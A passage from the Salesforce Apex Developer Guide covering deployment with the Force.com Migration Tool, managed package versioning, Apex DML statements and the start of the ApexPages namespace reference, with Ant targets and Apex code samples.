–A codepkg\triggers folder that contains SampleAccountTrigger.trigger
–A mypkg\objects folder that contains the custom objects used in the examples
–A removecodepkg folder that contains XML files for removing the examples from your organization
–A sample build.properties file that you must edit, specifying your credentials, in order to run the sample ant tasks
in build.xml
–A sample build.xml file, that exercises the deploy and retrieve API calls
7. If you installed a previous version of the Force.com Migration Tool and copied the ant-salesforce.jar file to the Ant lib
directory, delete the jar file in the lib directory. The lib directory is located in the root folder of your Ant installation. The Force.com
Migration Tool uses the ant-salesforce.jar file that’s in the distribution ZIP file. You don’t need to copy this file to the Ant
lib directory.
8. Open the sample subdirectory in the unzipped file.
9. Edit the build.properties file:
a. Enter your Salesforce production organization username and password for the sf.user and sf.password fields,
respectively.
Note:
•The username you specify should have the authority to edit Apex.
•If you are using the Force.com Migration Tool from an untrusted network, append a security token to the password.
To learn more about security tokens, see “Reset Your Security Token” in the Salesforce online help.
593
Using the Force.com Migration ToolDeploying Apex
b. If you are deploying to a sandbox organization, change the sf.serverurl field to https://test.salesforce.com.
10. Open a command window in the sample directory.
11. Enter ant deployCode. This runs the deploy API call, using the sample class and Account trigger provided with the Force.com
Migration Tool.
The ant deployCode calls the Ant target named deploy in the build.xml file.
<!-- Shows deploying code & running tests for package 'codepkg' -->
<target name="deployCode">
<!-- Upload the contents of the "codepkg" package, running the tests for just 1
class -->
<sf:deploy username="${sf.username}" password="${sf.password}"
serverurl="${sf.serverurl}" deployroot="codepkg">
<runTest>SampleDeployClass</runTest>
</sf:deploy>
</target>
For more information, see Understanding deploy on page 594.
12. To remove the test class and trigger added as part of the execution of ant deployCode, enter the following in the command
window: ant undeployCode.
ant undeployCode calls the Ant target named undeployCode in the build.xml file.
<target name="undeployCode">
<sf:deploy username="${sf.username}" password="${sf.password}" serverurl=
"${sf.serverurl}" deployroot="removecodepkg"/>
</target>
See the Force.com Migration Tool Guide for full details about the Force.com Migration Tool.
Understanding deploy
The Force.com Migration Tool provides the deploy task, which can be incorporated into your deployment scripts. You can modify
the build.xml sample to include your organization's classes and triggers. For a complete list of properties for the deploy task, see
the Force.com Migration Tool Guide. Some properties of the deploy task are:
username
The username for logging into the Salesforce production organization.
password
The password associated for logging into the Salesforce production organization.
serverURL
The URL for the Salesforce server you are logging into. If you do not specify a value, the default is login.salesforce.com.
deployRoot
The local directory that contains the Apex classes and triggers, as well as any other metadata, that you want to deploy. The best way
to create the necessary file structure is to retrieve it from your organization or sandbox. See Understanding retrieve on page
595 for more information.
•Apex class files must be in a subdirectory named classes. You must have two files for each class, named as follows:
–classname.cls
–classname.cls-meta.xml
594
Understanding deployDeploying Apex
For example, MyClass.cls and MyClass.cls-meta.xml. The -meta.xml file contains the API version and the status
(active/inactive) of the class.
•Apex trigger files must be in a subdirectory named triggers. You must have two files for each trigger, named as follows:
–triggername.trigger
–triggername.trigger-meta.xml
For example, MyTrigger.trigger and MyTrigger.trigger-meta.xml. The -meta.xml file contains the API
version and the status (active/inactive) of the trigger.
•The root directory contains an XML file package.xml that lists all the classes, triggers, and other objects to be deployed.
•The root directory optionally contains an XML file destructiveChanges.xml that lists all the classes, triggers, and other
objects to be deleted from your organization.
checkOnly
Specifies whether the classes and triggers are deployed to the target environment or not. This property takes a Boolean value: true
if you do not want to save the classes and triggers to the organization, false otherwise. If you do not specify a value, the default
is false.
runTest
Optional child elements. A list of Apex classes containing tests run after deployment. To use this option, set testLevel to
RunSpecifiedTests.
testLevel
Optional. Specifies which tests are run as part of a deployment. The test level is enforced regardless of the types of components that
are present in the deployment package. Valid values are:
•NoTestRun—No tests are run. This test level applies only to deployments to development environments, such as sandbox,
Developer Edition, or trial organizations. This test level is the default for development environments.
•RunSpecifiedTests—Only the tests that you specify in the runTests option are run. Code coverage requirements
differ from the default coverage requirements when using this test level. Each class and trigger in the deployment package must
be covered by the executed tests for a minimum of 75% code coverage. This coverage is computed for each class and trigger
individually and is different than the overall coverage percentage.
•RunLocalTests—All tests in your org are run, except the ones that originate from installed managed packages. This test
level is the default for production deployments that include Apex classes or triggers.
•RunAllTestsInOrg—All tests are run. The tests include all tests in your org, including tests of managed packages.
If you don’t specify a test level, the default test execution behavior is used. See “Running Tests in a Deployment” in the Metadata API
Developer’s Guide.
This field is available in API version 34.0 and later.
runAllTests
(Deprecated and available only in API version 33.0 and earlier.) This parameter is optional and defaults to false. Set to true to
run all Apex tests after deployment, including tests that originate from installed managed packages.
Understanding retrieve
Use the retrieveCode target to retrieve classes and triggers from your sandbox or production organization. During the normal
deploy cycle, you would run retrieveCode prior to deploy, in order to obtain the correct directory structure for your new classes
and triggers. However, for this example, deploy is used first, to ensure that there is something to retrieve.
595
Understanding retrieveDeploying Apex
To retrieve classes and triggers from an existing organization, use the retrieve ant task as illustrated by the sample build target ant
retrieveCode:
<target name="retrieveCode">
<!-- Retrieve the contents listed in the file codepkg/package.xml into the codepkg
directory -->
<sf:retrieve username="${sf.username}" password="${sf.password}"
serverurl="${sf.serverurl}" retrieveTarget="codepkg"
unpackaged="codepkg/package.xml"/>
</target>
The file codepkg/package.xml lists the metadata components to be retrieved. In this example, it retrieves two classes and one
trigger. The retrieved files are put into the directory codepkg, overwriting everything already in the directory.
The properties for the retrieve task are as follows:
DescriptionField
Required if sessionId isn’t specified. The Salesforce username used for login. The
username associated with this connection must have the “Modify All Data” permission.
Typically, this permission is enabled only for System Administrator users.
username
Required if sessionId isn’t specified. The password you use to log in to the organization
associated with this project. If you are using a security token, paste the 25-digit token value
to the end of your password.
password
Required if username and password aren’t specified. The ID of an active Salesforce
session or the OAuth access token. A session is created after a user logs in to Salesforce
sessionId
successfully with a username and password. Use a session ID for logging in to an existing
session instead of creating a new session. Alternatively, use an access token for OAuth
authentication. For more information, see Authenticating Apps with OAuth in the Salesforce
Help.
Optional. The Salesforce server URL (if blank, defaults to login.salesforce.com).
To connect to a sandbox instance, change this value to test.salesforce.com.
serverurl
Required. The root of the directory structure into which the metadata files are retrieved.retrieveTarget
Required if unpackaged is not specified. A comma-separated list of the names of the
packages to retrieve. Specify either packageNames or unpackaged, but not both.
packageNames
Optional. The Metadata API version to use for the retrieved metadata files. The default is
39.0.
apiVersion
Optional. Defaults to 10000. The number of milliseconds to wait between attempts when
polling for results of the retrieve request. The client continues to poll the server up to the
limit defined by maxPoll.
pollWaitMillis
Optional. Defaults to 200. The number of times to poll the server for the results of the
retrieve request. The wait time between successive poll attempts is defined by
pollWaitMillis.
maxPoll
Optional. Defaults to true. Set this parameter to false if you are retrieving multiple
packages. If set to false, the retrieved zip file includes an extra top-level directory
containing a subdirectory for each package.
singlePackage
596
Understanding retrieveDeploying Apex
DescriptionField
Optional. Defaults to false. Prints the SOAP requests and responses to the console. Note
that this will show the user's password in plain text during login.
trace
Required if packageNames is not specified. The path and name of a file manifest that
specifies the components to retrieve. Specify either unpackaged or packageNames,
but not both.
unpackaged
Optional. Defaults to true. If set to true, the retrieved components are unzipped. If set
to false, the retrieved components are saved as a zip file in the retrieveTarget
directory.
unzip
Using SOAP API to Deploy Apex
If you do not want to use the Force.com IDE, change sets, or the Force.com Migration Tool to deploy Apex, you can use the following
SOAP API calls to deploy your Apex to a development or sandbox organization:
•compileAndTest()
•compileClasses()
•compileTriggers()
All these calls take Apex code that contains the class or trigger, as well as the values for any fields that need to be set.
597
Using SOAP API to Deploy ApexDeploying Apex
CHAPTER 15 Distributing Apex Using Managed Packages
As an ISV or Salesforce partner, you can distribute Apex code to customer organizations using packages.
This chapter describes packages and package versioning.
In this chapter ...
•What is a Package?
•Package Versions
•Deprecating Apex
•Behavior in Package
Versions
598
What is a Package?
A package is a container for something as small as an individual component or as large as a set of related apps. After creating a package,
you can distribute it to other Salesforce users and organizations, including those outside your company. An organization can create a
single managed package that can be downloaded and installed by many different organizations. Managed packages differ from
unmanaged packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages
do not include locked components and cannot be upgraded.
Package Versions
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version
has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
When an existing subscriber installs a new package version, there is still only one instance of each component in the package, but the
components can emulate older versions. For example, a subscriber may be using a managed package that contains an Apex class. If the
publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber still sees only one instance
of the Apex class after installing the new version. However, this Apex class can still emulate the previous version for any code that
references the deprecated method in the older version.
Note the following when developing Apex in managed packages:
•The code contained in an Apex class, trigger, or Visualforce component that’s part of a managed package is obfuscated and can’t
be viewed in an installing org. The only exceptions are methods declared as global. You can view global method signatures in an
installing org. In addition, License Management Org users with the View and Debug Managed Apex permission can view their
packages’ obfuscated Apex classes when logged in to subscriber orgs via the Subscriber Support Console.
•Managed packages receive a unique namespace. This namespace is automatically prepended to your class names, methods, variables,
and so on, which helps prevent duplicate names in the installer’s organization.
•In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes a
class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a different
class in a different package. Even though the second package wasn’t accessed directly by the first, because it occurs in the same
transaction, it’s included in the number of namespaces being accessed in a single transaction.
•Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and variables
that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are
refactoring code in managed packages as the requirements evolve.
•You can write test methods that change the package version context to a different package version by using the system method
runAs.
•You cannot add a method to a global interface or an abstract method to a global class after the interface or class has been uploaded
in a Managed - Released package version. If the class in the Managed - Released package is virtual, the method that you can add to
it must also be virtual and must have an implementation.
•Apex code contained in an unmanaged package that explicitly references a namespace cannot be uploaded.
599
What is a Package?Distributing Apex Using Managed Packages
Deprecating Apex
Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and variables
that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are
refactoring code in managed packages as the requirements evolve. After you upload another package version as Managed - Released,
new subscribers that install the latest package version cannot see the deprecated elements, while the elements continue to function
for existing subscribers and API integrations. A deprecated item, such as a method or a class, can still be referenced internally by the
package developer.
Note: You cannot use the deprecated annotation in Apex classes or triggers in unmanaged packages.
Package developers can use Managed - Beta package versions for evaluation and feedback with a pilot set of users in different Salesforce
organizations. If a developer deprecates an Apex identifier and then uploads a version of the package as Managed - Beta, subscribers
that install the package version still see the deprecated identifier in that package version. If the package developer subsequently uploads
a Managed - Released package version, subscribers will no longer see the deprecated identifier in the package version after they install
it.
Behavior in Package Versions
A package component can exhibit different behavior in different package versions. This behavior versioning allows you to add new
components to your package and refine your existing components, while still ensuring that your code continues to work seamlessly for
existing subscribers. If a package developer adds a new component to a package and uploads a new package version, the new component
is available to subscribers that install the new package version.
Versioning Apex Code Behavior
Package developers can use conditional logic in Apex classes and triggers to exhibit different behavior for different versions. This allows
the package developer to continue to support existing behavior in classes and triggers in previous package versions while continuing
to evolve the code.
When subscribers install multiple versions of your package and write code that references Apex classes or triggers in your package, they
must select the version they are referencing. Within the Apex code that is being referenced in your package, you can conditionally
execute different code paths based on the version setting of the calling Apex code that is making the reference. The package version
setting of the calling code can be determined within the package code by calling the System.requestVersion method. In this
way, package developers can determine the request context and specify different behavior for different versions of the package.
The following sample uses the System.requestVersion method and instantiates the System.Version class to define
different behaviors in an Apex trigger for different package versions.
trigger oppValidation on Opportunity (before insert, before update) {
for (Opportunity o : Trigger.new){
// Add a new validation to the package
// Applies to versions of the managed package greater than 1.0
if (System.requestVersion().compareTo(new Version(1,0)) > 0) {
if (o.Probability >= 50 && o.Description == null) {
o.addError('All deals over 50% require a description');
}
}
600
Deprecating ApexDistributing Apex Using Managed Packages
// Validation applies to all versions of the managed package.
if (o.IsWon == true && o.LeadSource == null) {
o.addError('A lead source must be provided for all Closed Won deals');
}
}
}
For a full list of methods that work with package versions, see Version Class and the System.requestVersion method in System
Class.
The request context is persisted if a class in the installed package invokes a method in another class in the package. For example, a
subscriber has installed a GeoReports package that contains CountryUtil and ContinentUtil Apex classes. The subscriber creates a new
GeoReportsEx class and uses the version settings to bind it to version 2.3 of the GeoReports package. If GeoReportsEx invokes a method
in ContinentUtil which internally invokes a method in CountryUtil, the request context is propagated from ContinentUtil to CountryUtil
and the System.requestVersion method in CountryUtil returns version 2.3 of the GeoReports package.
Apex Code Items that Are Not Versioned
You can change the behavior of some Apex items across package versions. For example, you can deprecate a method so that new
subscribers can no longer reference the package in a subsequent version.
However, the following list of modifiers, keywords, and annotations cannot be versioned. If a package developer makes changes to one
of the following modifiers, keywords, or annotations, the changes are reflected across all package versions.
There are limitations on the changes that you can make to some of these items when they are used in Apex code in managed packages.
Package developers can add or remove the following items:
•@future
•@isTest
•with sharing
•without sharing
•transient
Package developers can make limited changes to the following items:
•private—can be changed to global
•public—can be changed to global
•protected—can be changed to global
•abstract—can be changed to virtual but cannot be removed
•final—can be removed but cannot be added
Package developers cannot remove or change the following items:
•global
•virtual
Package developers can add the webService keyword, but once it has been added, it cannot be removed.
Note: You cannot deprecate webService methods or variables in managed package code.
601
Apex Code Items that Are Not VersionedDistributing Apex Using Managed Packages
Testing Behavior in Package Versions
When you change the behavior in an Apex class or trigger for different package versions, it is important to test that your code runs as
expected in the different package versions. You can write test methods that change the package version context to a different package
version by using the system method runAs. You can only use runAs in a test method.
The following sample shows a trigger with different behavior for different package versions.
trigger oppValidation on Opportunity (before insert, before update) {
for (Opportunity o : Trigger.new){
// Add a new validation to the package
// Applies to versions of the managed package greater than 1.0
if (System.requestVersion().compareTo(new Version(1,0)) > 0) {
if (o.Probability >= 50 && o.Description == null) {
o.addError('All deals over 50% require a description');
}
}
// Validation applies to all versions of the managed package.
if (o.IsWon == true && o.LeadSource == null) {
o.addError('A lead source must be provided for all Closed Won deals');
}
}
}
The following test class uses the runAs method to verify the trigger's behavior with and without a specific version:
@isTest
private class OppTriggerTests{
static testMethod void testOppValidation(){
// Set up 50% opportunity with no description
Opportunity o = new Opportunity();
o.Name = 'Test Job';
o.Probability = 50;
o.StageName = 'Prospect';
o.CloseDate = System.today();
// Test running as latest package version
try{
insert o;
}
catch(System.DMLException e){
System.assert(
e.getMessage().contains(
'All deals over 50% require a description'),
e.getMessage());
}
// Run test as managed package version 1.0
System.runAs(new Version(1,0)){
try{
602
Testing Behavior in Package VersionsDistributing Apex Using Managed Packages
insert o;
}
catch(System.DMLException e){
System.assert(false, e.getMessage());
}
}
// Set up a closed won opportunity with no lead source
o=new Opportunity();
o.Name = 'Test Job';
o.Probability = 50;
o.StageName = 'Prospect';
o.CloseDate = System.today();
o.StageName = 'Closed Won';
// Test running as latest package version
try{
insert o;
}
catch(System.DMLException e){
System.assert(
e.getMessage().contains(
'A lead source must be provided for all Closed Won deals'),
e.getMessage());
}
// Run test as managed package version 1.0
System.runAs(new Version(1,0)){
try{
insert o;
}
catch(System.DMLException e){
System.assert(
e.getMessage().contains(
'A lead source must be provided for all Closed Won deals'),
e.getMessage());
}
}
}
}
603
Testing Behavior in Package VersionsDistributing Apex Using Managed Packages
CHAPTER 16 Reference
The Apex reference contains information about DML statements, and the built-in Apex classes and interfaces.
DML Statements
DML statements part of the Apex programming language and are described in Apex DML Statements.
Apex Classes and Interfaces
Apex classes and interfaces are grouped by the namespaces they’re contained in. For example, the Database class is in the
System namespace. To find static methods of the Database system class, such as the insert method, nagivate to System
Namespace > Database Class. The result classes associated with the Database methods, such as Database.SaveResult,
are part of the Database namespace and are listed under Database Namespace.
In addition, SOAP API methods and objects are available for Apex. See SOAP API and SOAP Headers for Apex on page 2743 in the Appendices
section.
IN THIS SECTION:
Apex DML Operations
ApexPages Namespace
The ApexPages namespace provides classes used in Visualforce controllers.
AppLauncher Namespace
The AppLauncher namespace provides methods for managing the appearance of apps in the App Launcher, including their
visibility and sort order.
Approval Namespace
The Approval namespace provides classes and methods for approval processes.
Auth Namespace
The Auth namespace provides an interface and classes for single sign-on into Salesforce and session security management.
Cache Namespace
The Cache namespace contains methods for managing the platform cache.
Canvas Namespace
The Canvas namespace provides an interface and classes for canvas apps in Salesforce.
ChatterAnswers Namespace
The ChatterAnswers namespace provides an interface for creating Account records.
ConnectApi Namespace
The ConnectApi namespace (also called Chatter in Apex) provides classes for accessing the same data available in Chatter REST
API. Use Chatter in Apex to create custom Chatter experiences in Salesforce.
Database Namespace
The Database namespace provides classes used with DML operations.
604
Datacloud Namespace
The Datacloud namespace provides classes and methods for retrieving information about duplicate rules. Duplicate rules let
you control whether and when users can save duplicate records within Salesforce.
DataSource Namespace
The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to
develop a custom adapter for Salesforce Connect. Then connect your Salesforce organization to any data anywhere via the Salesforce
Connect custom adapter.
Dom Namespace
The Dom namespace provides classes and methods for parsing and creating XML content.
Flow Namespace
The Flow namespace provides a class for advanced Visualforce controller access to flows.
KbManagement Namespace
The KbManagement namespace provides a class for managing knowledge articles.
Messaging Namespace
The Messaging namespace provides classes and methods for Salesforce outbound and inbound email functionality.
Process Namespace
The Process namespace provides an interface and classes for passing data between your organization and a flow.
QuickAction Namespace
The QuickAction namespace provides classes and methods for quick actions.
Reports Namespace
The Reports namespace provides classes for accessing the same data as is available in the Salesforce Reports and Dashboards
REST API.
Schema Namespace
The Schema namespace provides classes and methods for schema metadata information.
Search Namespace
The Search namespace provides classes for getting search results and suggestion results.
Site Namespace
The Site namespace provides an interface for rewriting Sites URLs.
Support Namespace
The Support namespace provides an interface used for Case Feed.
System Namespace
The System namespace provides classes and methods for core Apex functionality.
TerritoryMgmt Namespace
The TerritoryMgmt namespace provides an interface used for territory management.
TxnSecurity Namespace
The TxnSecurity namespace provides an interface used for transaction security.
UserProvisioning Namespace
The UserProvisioning namespace provides methods for monitoring outbound user provisioning requests.
VisualEditor Namespace
The VisualEditor namespace provides classes and methods for interacting with the Lightning App Builder.
605
Reference
Apex DML Operations
You can perform DML operations using the Apex DML statements or the methods of the Database class.
For lead conversion, use the convertLead method of the Database class. There is no DML counterpart for it.
To learn more about data in Apex, see Working with Data in Apex.
Apex DML Statements
Use Data Manipulation Language (DML) statements to insert, update, merge, delete, and restore data in Salesforce.
The following Apex DML statements are available:
IN THIS SECTION:
Insert Statement
Update Statement
Upsert Statement
Delete Statement
Undelete Statement
Merge Statement
Insert Statement
The insert DML operation adds one or more sObjects, such as individual accounts or contacts, to your organization’s data. insert
is analogous to the INSERT statement in SQL.
Syntax
insert sObject
insert sObject[]
Example
The following example inserts an account named 'Acme':
Account newAcct = new Account(name = 'Acme');
try {
insert newAcct;
}catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
606
Apex DML OperationsReference
Update Statement
The update DML operation modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements,
in your organization’s data. update is analogous to the UPDATE statement in SQL.
Syntax
update sObject
update sObject[]
Example
The following example updates the BillingCity field on a single account named 'Acme':
Account a = new Account(Name='Acme2');
insert(a);
Account myAcct = [SELECT Id, Name, BillingCity FROM Account WHERE Id = :a.Id];
myAcct.BillingCity = 'San Francisco';
try {
update myAcct;
}catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
Upsert Statement
The upsert DML operation creates new records and updates sObject records within a single statement, using a specified field to
determine the presence of existing objects, or the ID field if no field is specified.
Syntax
upsert sObject [opt_field]
upsert sObject[] [opt_field]
The upsert statement matches the sObjects with existing records by comparing values of one field. If you don’t specify a field when
calling this statement, the upsert statement uses the sObject’s ID to match the sObject with existing records in Salesforce. Alternatively,
you can specify a field to use for matching. For custom objects, specify a custom field marked as external ID. For standard objects, you
can specify any field that has the idLookup attribute set to true. For example, the Email field of Contact or User has the idLookup
attribute set. To check a field’s attribute, see the Object Reference for Salesforce and Force.com.
Also, you can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see Field Types
in the Object Reference for Salesforce and Force.com.
The optional field parameter, opt_field, is a field token (of type Schema.SObjectField). For example, to specify the
MyExternalID custom field, the statement is:
upsert sObjectList Account.Fields.MyExternalId__c;
607
Apex DML StatementsReference
If the field used for maching doesn’t have the Unique attribute set, the context user must have the “View All” object-level permission
for the target object or the “View All Data” permission so that upsert does not accidentally insert a duplicate record.
Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate
values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123” is matched with “abc123.”
For more information, see “Create Custom Fields” in the Salesforce online help.
How Upsert Chooses to Insert or Update
Upsert uses the sObject record's primary key (the ID), an idLookup field, or an external ID field to determine whether it should create a
new record or update an existing one:
•If the key is not matched, a new object record is created.
•If the key is matched once, the existing object record is updated.
•If the key is matched multiple times, an error is generated and the object record is neither inserted or updated.
Example
This example performs an upsert of a list of accounts.
List<Account> acctList = new List<Account>();
// Fill the accounts list with some accounts
try {
upsert acctList;
}catch (DmlException e) {
}
This next example performs an upsert of a list of accounts using a foreign key for matching existing records, if any.
List<Account> acctList = new List<Account>();
// Fill the accounts list with some accounts
try {
// Upsert using an external ID field
upsert acctList myExtIDField__c;
}catch (DmlException e) {
}
Delete Statement
The delete DML operation deletes one or more existing sObject records, such as individual accounts or contacts, from your organization’s
data. delete is analogous to the delete() statement in the SOAP API.
Syntax
delete sObject
delete sObject[]
608
Apex DML StatementsReference
Example
The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'DotCom'];
try {
delete doomedAccts;
}catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
Undelete Statement
The undelete DML operation restores one or more existing sObject records, such as individual accounts or contacts, from your
organization’s Recycle Bin. undelete is analogous to the UNDELETE statement in SQL.
Syntax
undelete sObject |ID
undelete sObject[] |ID[]
Example
The following example undeletes an account named 'Trump'. The ALL ROWS keyword queries all rows for both top level and aggregate
relationships, including deleted records and archived activities.
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Trump' ALL ROWS];
try {
undelete savedAccts;
}catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
Merge Statement
The merge statement merges up to three records of the same sObject type into one of the records, deleting the others, and re-parenting
any related records.
Note: This DML operation does not have a matching Database system method.
Syntax
merge sObject sObject
merge sObject sObject[]
merge sObject ID
609
Apex DML StatementsReference
merge sObject ID[]
The first parameter represents the master record into which the other records are to be merged. The second parameter represents the
one or two other records that should be merged and then deleted. You can pass these other records into the merge statement as a
single sObject record or ID, or as a list of two sObject records or IDs.
Example
The following example merges two accounts named 'Acme Inc.' and 'Acme' into a single record:
List<Account> ls = new List<Account>{new Account(name='Acme Inc.'),new Account(name='Acme')};
insert ls;
Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
try {
merge masterAcct mergeAcct;
}catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
ApexPages Namespace
The ApexPages namespace provides classes used in Visualforce controllers.
The following are the classes in the ApexPages namespace.
IN THIS SECTION:
Action Class
You can use ApexPages.Action to create an action method that you can use in a Visualforce custom controller or controller
extension.
Component Class
Represents a dynamic Visualforce component in Apex.
IdeaStandardController Class
IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the
StandardController.
IdeaStandardSetController Class
IdeaStandardSetController objects offer Ideas-specific functionality in addition to what is provided by the
StandardSetController.
KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController objects offer article-specific functionality in addition to what is
provided by the StandardController.
Message Class
Contains validation errors that occur when the end user saves the page when using a standard controller.
StandardController Class
Use a StandardController when defining an extension for a standard controller.
610
ApexPages NamespaceReference
StandardSetController Class
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce
list controllers provided by Salesforce.
Action Class
You can use ApexPages.Action to create an action method that you can use in a Visualforce custom controller or controller
extension.
Namespace
ApexPages
Usage
For example, you could create a saveOver method on a controller extension that performs a custom save.
Instantiation
The following code snippet illustrates how to instantiate a new ApexPages.Action object that uses the save action:
ApexPages.Action saveAction = new ApexPages.Action('{!save}');
Example
In the following example, when the user updates or creates a new Account and clicks the Save button, in addition to the account being
updated or created, the system writes a message to the system debug log. This example extends the standard controller for Account.
The following is the controller extension.
public class pageCon{
public PageReference RedirectToStep2(){
// ...
// ...
return Page.Step2;
}
}
The following is the Visualforce markup for a page that uses the above controller extension.
<apex:component>
<apex:attribute name="actionToInvoke" type="ApexPages.Action" ... />
...
<apex:commandButton value="Perform Controller Action" action="{!actionToInvoke}"/>
</apex:component>
<apex:page controller="pageCon">
...
<c:myComp actionToInvoke="{!RedirectToStep2}"/>
</apex:page>
611
Action ClassReference
For information on the debug log, see “View Debug Logs” in the Salesforce online help.
IN THIS SECTION:
Action Constructors
Action Methods
Action Constructors
The following are constructors for Action.
IN THIS SECTION:
Action(action)
Creates a new instance of the ApexPages.Action class using the specified action.
Action(action)
Creates a new instance of the ApexPages.Action class using the specified action.
Signature
public Action(String action)
Parameters
action
Type: String
The action.
Action Methods
The following are methods for Action. All are instance methods.
IN THIS SECTION:
getExpression()
Returns the expression that is evaluated when the action is invoked.
invoke()
Invokes the action.
getExpression()
Returns the expression that is evaluated when the action is invoked.
Signature
public String getExpression()
612
Action ClassReference
Return Value
Type: String
invoke()
Invokes the action.
Signature
public System.PageReference invoke()
Return Value
Type: System.PageReference
Component Class
Represents a dynamic Visualforce component in Apex.
Namespace
ApexPages
Dynamic Component Properties
The following are properties for Component.
IN THIS SECTION:
childComponents
Returns a reference to the child components for the component.
expressions
Sets the content of an attribute using the expression language notation. The notation for this is
expressions.name_of_attribute.
facets
Sets the content of a facet to a dynamic component. The notation for this is facet.name_of_facet.
childComponents
Returns a reference to the child components for the component.
Signature
public List <ApexPages.Component> childComponents {get; set;}
Property Value
Type: List<ApexPages.Component>
613
Component ClassReference
Example
Component.Apex.PageBlock pageBlk = new Component.Apex.PageBlock();
Component.Apex.PageBlockSection pageBlkSection = new
Component.Apex.PageBlockSection(title='dummy header');
pageBlk.childComponents.add(pageBlkSection);
expressions
Sets the content of an attribute using the expression language notation. The notation for this is expressions.name_of_attribute.
Signature
public String expressions {get; set;}
Property Value
Type: String
Example
Component.Apex.InputField inpFld = new
Component.Apex.InputField();
inpField.expressions.value = '{!Account.Name}';
inpField.expressions.id = '{!$User.FirstName}';
facets
Sets the content of a facet to a dynamic component. The notation for this is facet.name_of_facet.
Signature
public String facets {get; set;}
Property Value
Type: String
Usage
Note: This property is only accessible by components that support facets.
Example
Component.Apex.DataTable myDT = new
Component.Apex.DataTable();
ApexPages.Component.OutputText footer = new
614
Component ClassReference
Component.Apex.OutputText(value='Footer Copyright');
myDT.facets.footer = footer;
IdeaStandardController Class
IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the
StandardController.
Namespace
ApexPages
Usage
A method in the IdeaStandardController object is called by and operated on a particular instance of an IdeaStandardController.
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through
a limited release program. For information on enabling these classes for your organization, contact your Salesforce representative.
In addition to the methods listed in this class, the IdeaStandardController class inherits all the methods associated with the
StandardController class.
Instantiation
An IdeaStandardController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension
controller when using the standard ideas controller.
Example
The following example shows how an IdeaStandardController object can be used in the constructor for a custom list controller. This
example provides the framework for manipulating the comment list data before displaying it on a Visualforce page.
public class MyIdeaExtension {
private final ApexPages.IdeaStandardController ideaController;
public MyIdeaExtension(ApexPages.IdeaStandardController controller) {
ideaController = (ApexPages.IdeaStandardController)controller;
}
public List<IdeaComment> getModifiedComments() {
IdeaComment[] comments = ideaController.getCommentList();
// modify comments here
return comments;
}
}
The following Visualforce markup shows how the IdeaStandardController example shown above can be used in a page. This page must
be named detailPage for this example to work.
615
IdeaStandardController ClassReference
Note: For the Visualforce page to display the idea and its comments, in the following example you need to specify the ID of a
specific idea (for example, /apex/detailPage?id=<ideaID>) whose comments you want to view.
<!-- page named detailPage -->
<apex:page standardController="Idea" extensions="MyIdeaExtension">
<apex:pageBlock title="Idea Section">
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}">{!idea.title}
</ideas:detailOutputLink>
<br/><br/>
<apex:outputText >{!idea.body}</apex:outputText>
</apex:pageBlock>
<apex:pageBlock title="Comments Section">
<apex:dataList var="a" value="{!modifiedComments}" id="list">
{!a.commentBody}
</apex:dataList>
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}"
pageOffset="-1">Prev</ideas:detailOutputLink>
|
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}"
pageOffset="1">Next</ideas:detailOutputLink>
</apex:pageBlock>
</apex:page>
SEE ALSO:
StandardController Class
IdeaStandardController Methods
The following are instance methods for IdeaStandardController.
IN THIS SECTION:
getCommentList()
Returns the list of read-only comments from the current page.
getCommentList()
Returns the list of read-only comments from the current page.
Signature
public IdeaComment[] getCommentList()
Return Value
Type: IdeaComment[]
This method returns the following comment properties:
•id
•commentBody
•createdDate
616
IdeaStandardController ClassReference
•createdBy.Id
•createdBy.communityNickname
IdeaStandardSetController Class
IdeaStandardSetController objects offer Ideas-specific functionality in addition to what is provided by the
StandardSetController.
Namespace
ApexPages
Usage
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through
a limited release program. For information on enabling these classes for your organization, contact your Salesforce representative.
In addition to the method listed above, the IdeaStandardSetController class inherits the methods associated with the
StandardSetController.
